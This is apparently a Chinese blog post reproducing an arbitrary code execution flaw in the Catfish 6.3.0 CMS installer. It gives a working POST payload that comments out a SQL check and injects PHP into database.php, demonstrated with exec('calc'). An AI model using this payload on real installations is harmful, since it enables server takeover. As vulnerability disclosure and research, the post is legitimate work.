Catfish任意代码执行漏洞 0day

置顶 yu22x

已于 2022-04-12 19:30:14 修改

阅读量726

点赞数 1

CC 4.0 BY-SA版权

分类专栏： 0day 文章标签： php web安全安全

于 2021-12-28 16:24:35 首次发布

本文链接：https://blog.csdn.net/miuzzx/article/details/122125316

0day 专栏收录该内容

2 篇文章

订阅专栏

本文详细介绍了Catfish6.3.0版本中的一个严重安全漏洞，该漏洞允许攻击者通过构造特定的POST参数，实现任意代码执行。在安装过程中，通过修改请求参数，可以绕过SQL查询的错误检查，成功写入恶意代码到database.php文件中，从而在后续数据库操作中触发代码执行。修复此漏洞的关键在于正确过滤和验证用户输入，防止非法数据注入。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

Catfish任意代码执行漏洞

漏洞影响

Catfish6.3.0

复现过程

漏洞位置：application\install\controller\Index.php step3()
在这里插入图片描述
在该函数中会将我们传入的内容替换database.php中的数据
我们来看下该文件

这么一看会发现很简单，是不是只要post 传入prefix=','a'=>exec('calc')]?>之类的的就可以成功写入里面呢，但是经过断点跟踪发下存在一些问题。
在这里插入图片描述
在此之前会进行一个查询，如果我们传prefix=','a'=>exec('calc')]?>，那么最终的查询语句就是select * from ','a'=>exec('calc')]?>posts where id=1很明显会sql语法错误，所以为了绕过这个地方需要加些东西，我们只要保证能查出数据即可。
所以我们可以传

prefix=information_schema.schemata%23','a'=>exec('calc')]?>

这样拼接的sql语句为select * from information_schema.schemata%23','a'=>exec('calc')]?>>posts where id=1
#后面的会被注释掉，所以最终执行的sql语句为select * from information_schema.schemata。成功达到查出数据的目的。
在安装的过程抓包修改post参数如下。

在这里插入图片描述
接着我们来看下本地的database.php文件

可以看到成功写入。
剩下的就简单了，因为是数据库配置文件，所以任何调用数据库的地方都会触发，比如首页。